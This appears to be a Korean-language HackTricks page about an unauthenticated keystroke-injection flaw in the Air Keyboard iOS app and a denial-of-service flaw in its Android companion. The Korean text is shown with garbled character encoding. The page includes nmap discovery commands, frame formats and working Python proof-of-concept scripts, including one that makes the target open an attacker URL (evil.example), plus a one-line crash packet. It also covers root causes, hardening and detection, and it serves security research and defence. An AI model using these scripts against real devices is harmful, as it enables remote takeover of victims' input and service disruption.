Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

TL;DR

μƒμ—…μš© β€œAir Keyboard” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ iOS 버전(App Store ID 6463187929)은 μΈμ¦μ΄λ‚˜ 좜처 검증 없이 ν‚€μŠ€νŠΈλ‘œν¬ ν”„λ ˆμž„μ„ μˆ˜λ½ν•˜λŠ” 둜컬 λ„€νŠΈμ›Œν¬ μ„œλΉ„μŠ€λ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€. μ„€μΉ˜λœ 버전에 따라 μ„œλΉ„μŠ€λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  • ≀ 1.0.4 – 포트 8888μ—μ„œ 2λ°”μ΄νŠΈ 길이 헀더 λ‹€μŒμ— device-id와 ASCII νŽ˜μ΄λ‘œλ“œλ₯Ό κΈ°λŒ€ν•˜λŠ” μ›μ‹œ TCP λ¦¬μŠ€λ„ˆ.
  • β‰₯ 1.0.5 (2025λ…„ 6μ›”) – WebSocket λ¦¬μŠ€λ„ˆκ°€ 같은 포트(8888)μ—μ„œ {"type":1,"text":"…"}와 같은 JSON ν‚€λ₯Ό νŒŒμ‹±ν•©λ‹ˆλ‹€.

λ”°λΌμ„œ λ™μΌν•œ Wi-Fi / μ„œλΈŒλ„·μ— μžˆλŠ” λͺ¨λ“  μž₯μΉ˜λŠ” ν”Όν•΄μžμ˜ 전화기에 μž„μ˜μ˜ ν‚€λ³΄λ“œ μž…λ ₯을 μ£Όμž…ν•˜μ—¬ μ™„μ „ 원격 μƒν˜Έμž‘μš© νƒˆμ·¨λ₯Ό 달성할 수 μžˆμŠ΅λ‹ˆλ‹€. λ™λ°˜ Android λΉŒλ“œλŠ” 포트 55535μ—μ„œ λ¦¬μŠ€λ‹ν•©λ‹ˆλ‹€. μ•½ν•œ AES-ECB ν•Έλ“œμ…°μ΄ν¬λ₯Ό μˆ˜ν–‰ν•˜μ§€λ§Œ μ‘°μž‘λœ μ“°λ ˆκΈ° λ°μ΄ν„°λŠ” μ—¬μ „νžˆ OpenSSL λ‚΄λΆ€μ—μ„œ μ²˜λ¦¬λ˜μ§€ μ•Šμ€ μ˜ˆμ™Έλ₯Ό λ°œμƒμ‹œμΌœ λ°±κ·ΈλΌμš΄λ“œ μ„œλΉ„μŠ€λ₯Ό μΆ©λŒμ‹œν‚΅λ‹ˆλ‹€(DoS).

이 취약점은 μž‘μ„± μ‹œμ (2025λ…„ 7μ›”)μ—μ„œ μ—¬μ „νžˆ νŒ¨μΉ˜λ˜μ§€ μ•Šμ•˜μœΌλ©° μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ App Storeμ—μ„œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.


1. μ„œλΉ„μŠ€ 검색

둜컬 λ„€νŠΈμ›Œν¬λ₯Ό μŠ€μΊ”ν•˜κ³  μ•±μ—μ„œ μ‚¬μš©ν•˜λŠ” 두 개의 κ³ μ • 포트λ₯Ό μ°ΎμŠ΅λ‹ˆλ‹€:

# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

μ•ˆλ“œλ‘œμ΄λ“œ ν•Έλ“œμ…‹μ—μ„œλŠ” μ±…μž„ νŒ¨ν‚€μ§€λ₯Ό λ‘œμ»¬μ—μ„œ 식별할 수 μžˆμŠ΅λ‹ˆλ‹€:

adb shell netstat -tulpn | grep 55535      # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                 # map PID β†’ package name

On jailbroken iOSμ—μ„œλŠ” lsof -i -nP | grep LISTEN | grep 8888와 μœ μ‚¬ν•œ μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.


2. Protocol Details (iOS)

2.1 Legacy (≀ 1.0.4) – custom binary frames

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

μ„ μ–Έλœ κΈΈμ΄λŠ” device_id λ°”μ΄νŠΈλ₯Ό ν¬ν•¨ν•˜μ§€λ§Œ 두 λ°”μ΄νŠΈ 헀더 μžμ²΄λŠ” ν¬ν•¨ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

2.2 ν˜„μž¬ (β‰₯ 1.0.5) – WebSocket을 ν†΅ν•œ JSON

버전 1.0.5λŠ” 포트 번호λ₯Ό λ³€κ²½ν•˜μ§€ μ•Šκ³  WebSocket으둜 쑰용히 λ§ˆμ΄κ·Έλ ˆμ΄μ…˜λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ΅œμ†Œν•œμ˜ ν‚€ μž…λ ₯은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

{
"type": 1,              // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}

ν•Έλ“œμ…°μ΄ν¬, 토큰 λ˜λŠ” μ„œλͺ…이 ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€ – 첫 번째 JSON 객체가 이미 UI 이벀트λ₯Ό νŠΈλ¦¬κ±°ν•©λ‹ˆλ‹€.


3. μ΅μŠ€ν”Œλ‘œμž‡ PoC

3.1 νƒ€κ²Ÿ ≀ 1.0.4 (μ›μ‹œ TCP)

#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≀ 1.0.4 (TCP mode)"""
import socket, sys

target_ip  = sys.argv[1]                 # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"    # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                        # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)

3.2 νƒ€κ²ŸνŒ… β‰₯ 1.0.5 (WebSocket)

#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard β‰₯ 1.0.5 (WebSocket mode)"""
import json, sys, websocket  # `pip install websocket-client`

target_ip = sys.argv[1]
ws        = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")

인쇄 κ°€λŠ₯ν•œ λͺ¨λ“  ASCII β€” 쀄 λ°”κΏˆ, νƒ­ 및 λŒ€λΆ€λΆ„μ˜ 특수 ν‚€λ₯Ό ν¬ν•¨ν•˜μ—¬ β€” 전솑될 수 있으며, μ΄λŠ” κ³΅κ²©μžμ—κ²Œ 물리적 μ‚¬μš©μž μž…λ ₯κ³Ό λ™μΌν•œ κΆŒν•œμ„ λΆ€μ—¬ν•©λ‹ˆλ‹€: μ•± μ‹€ν–‰, IM 전솑, μ•…μ„± URL μ—΄κΈ°, μ„€μ • μ „ν™˜ λ“±.


4. Android Companion – μ„œλΉ„μŠ€ κ±°λΆ€

Android 포트(55535)λŠ” ν•˜λ“œμ½”λ”©λœ AES-128-ECB ν‚€λ‘œ μ•”ν˜Έν™”λœ 4자 λΉ„λ°€λ²ˆν˜Έμ™€ λ¬΄μž‘μœ„ nonceλ₯Ό κΈ°λŒ€ν•©λ‹ˆλ‹€. ꡬ문 였λ₯˜λŠ” AES_decrypt()둜 μ „νŒŒλ˜λ©° ν¬μ°©λ˜μ§€ μ•Šμ•„ λ¦¬μŠ€λ„ˆ μŠ€λ ˆλ“œκ°€ μ’…λ£Œλ©λ‹ˆλ‹€. λ”°λΌμ„œ 단일 잘λͺ»λœ νŒ¨ν‚·λ§ŒμœΌλ‘œλ„ ν”„λ‘œμ„ΈμŠ€κ°€ λ‹€μ‹œ μ‹œμž‘λ  λ•ŒκΉŒμ§€ 합법적인 μ‚¬μš©μžκ°€ 연결이 끊기게 λ©λ‹ˆλ‹€.

import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. κ΄€λ ¨ μ•± – λ°˜λ³΅λ˜λŠ” μ•ˆν‹° νŒ¨ν„΄

Air KeyboardλŠ” 고립된 사둀가 μ•„λ‹™λ‹ˆλ‹€. λ‹€λ₯Έ λͺ¨λ°”일 β€œμ›κ²© ν‚€λ³΄λ“œ/λ§ˆμš°μŠ€β€ μœ ν‹Έλ¦¬ν‹°λ„ λ™μΌν•œ 결함을 κ°€μ§€κ³  μΆœμ‹œλ˜μ—ˆμŠ΅λ‹ˆλ‹€:

  • Telepad ≀ 1.0.7 – CVE-2022-45477/78λŠ” μΈμ¦λ˜μ§€ μ•Šμ€ λͺ…λ Ή μ‹€ν–‰ 및 평문 ν‚€ λ‘œκΉ…μ„ ν—ˆμš©ν•©λ‹ˆλ‹€.
  • PC Keyboard ≀ 30 – CVE-2022-45479/80 μΈμ¦λ˜μ§€ μ•Šμ€ RCE 및 νŠΈλž˜ν”½ μŠ€λˆ„ν•‘.
  • Lazy Mouse ≀ 2.0.1 – CVE-2022-45481/82/83 κΈ°λ³Έ λΉ„λ°€λ²ˆν˜Έ μ—†μŒ, μ•½ν•œ PIN 무차별 λŒ€μž… 및 평문 유좜.

이 사둀듀은 λͺ¨λ°”일 μ•±μ˜ λ„€νŠΈμ›Œν¬ 곡격 ν‘œλ©΄μ— λŒ€ν•œ 체계적인 λ¬΄μ‹œλ₯Ό κ°•μ‘°ν•©λ‹ˆλ‹€.


6. κ·Όλ³Έ 원인

  1. μˆ˜μ‹  ν”„λ ˆμž„μ— λŒ€ν•œ 좜처/무결성 검사 μ—†μŒ (iOS).
  2. μ•”ν˜Έν™” 였용 (정적 ν‚€, ECB, 길이 검증 λˆ„λ½) 및 μ˜ˆμ™Έ 처리 λΆ€μ‘± (Android).
  3. μ‚¬μš©μž λΆ€μ—¬ 둜컬 λ„€νŠΈμ›Œν¬ κΆŒν•œ β‰  λ³΄μ•ˆ – iOSλŠ” LAN νŠΈλž˜ν”½μ— λŒ€ν•œ λŸ°νƒ€μž„ λ™μ˜λ₯Ό μš”μ²­ν•˜μ§€λ§Œ, μ μ ˆν•œ 인증을 λŒ€μ²΄ν•˜μ§€λŠ” μ•ŠμŠ΅λ‹ˆλ‹€.

7. κ°•ν™” 및 λ°©μ–΄ 쑰치

개발자 ꢌμž₯ 사항:

  • λ¦¬μŠ€λ„ˆλ₯Ό **127.0.0.1**에 λ°”μΈλ”©ν•˜κ³  원격 μ œμ–΄κ°€ ν•„μš”ν•  경우 mTLS λ˜λŠ” Noise XXλ₯Ό 톡해 ν„°λ„λ§ν•©λ‹ˆλ‹€.
  • μ˜¨λ³΄λ”© 쀑 μž₯μΉ˜λ³„ 비밀을 νŒŒμƒ (예: QR μ½”λ“œ λ˜λŠ” νŽ˜μ–΄λ§ PIN)ν•˜κ³  μž…λ ₯ 처리λ₯Ό ν•˜κΈ° 전에 μƒν˜Έ 인증을 μ‹œν–‰ν•©λ‹ˆλ‹€.
  • μ›μ‹œ μ†ŒμΌ“ λŒ€μ‹  Apple Network Frameworkλ₯Ό NWListener + TLS와 ν•¨κ»˜ μ±„νƒν•©λ‹ˆλ‹€.
  • ν”„λ ˆμž„μ„ λ³΅ν˜Έν™”ν•˜κ±°λ‚˜ λ””μ½”λ”©ν•  λ•Œ 길이 접두사 적합성 검사 및 κ΅¬μ‘°ν™”λœ μ˜ˆμ™Έ 처리λ₯Ό κ΅¬ν˜„ν•©λ‹ˆλ‹€.

블루/λ ˆλ“œ νŒ€μ˜ λΉ λ₯Έ 승리:

  • λ„€νŠΈμ›Œν¬ ν—ŒνŒ…: sudo nmap -n -p 8888,55535 --open 192.168.0.0/16 λ˜λŠ” Wireshark ν•„ν„° tcp.port == 8888.
  • λŸ°νƒ€μž„ 검사: Frida 슀크립트 ν›„ν‚Ή socket()/NWConnection으둜 μ˜ˆμƒμΉ˜ λͺ»ν•œ λ¦¬μŠ€λ„ˆ λͺ©λ‘μ„ λ‚˜μ—΄ν•©λ‹ˆλ‹€.
  • **iOS μ•± κ°œμΈμ •λ³΄ 보호 λ³΄κ³ μ„œ (μ„€μ • β–Έ κ°œμΈμ •λ³΄ 및 λ³΄μ•ˆ β–Έ μ•± κ°œμΈμ •λ³΄ 보호 λ³΄κ³ μ„œ)**λŠ” LAN μ£Όμ†Œμ— μ—°λ½ν•˜λŠ” 앱을 κ°•μ‘°ν•©λ‹ˆλ‹€ – μ•…μ„± μ„œλΉ„μŠ€λ₯Ό λ°œκ²¬ν•˜λŠ” 데 μœ μš©ν•©λ‹ˆλ‹€.
  • λͺ¨λ°”일 EDR은 포트 8888의 평문 TCP νŽ˜μ΄λ‘œλ“œ λ‚΄ JSON ν‚€ "selectionStart", "selectionEnd"에 λŒ€ν•œ κ°„λ‹¨ν•œ Yara-L κ·œμΉ™μ„ μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

탐지 μš”μ•½ (νŽœν…ŒμŠ€ν„°)

# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 "  " $4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p β†’ \"; cat /proc/$p/cmdline; done"

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°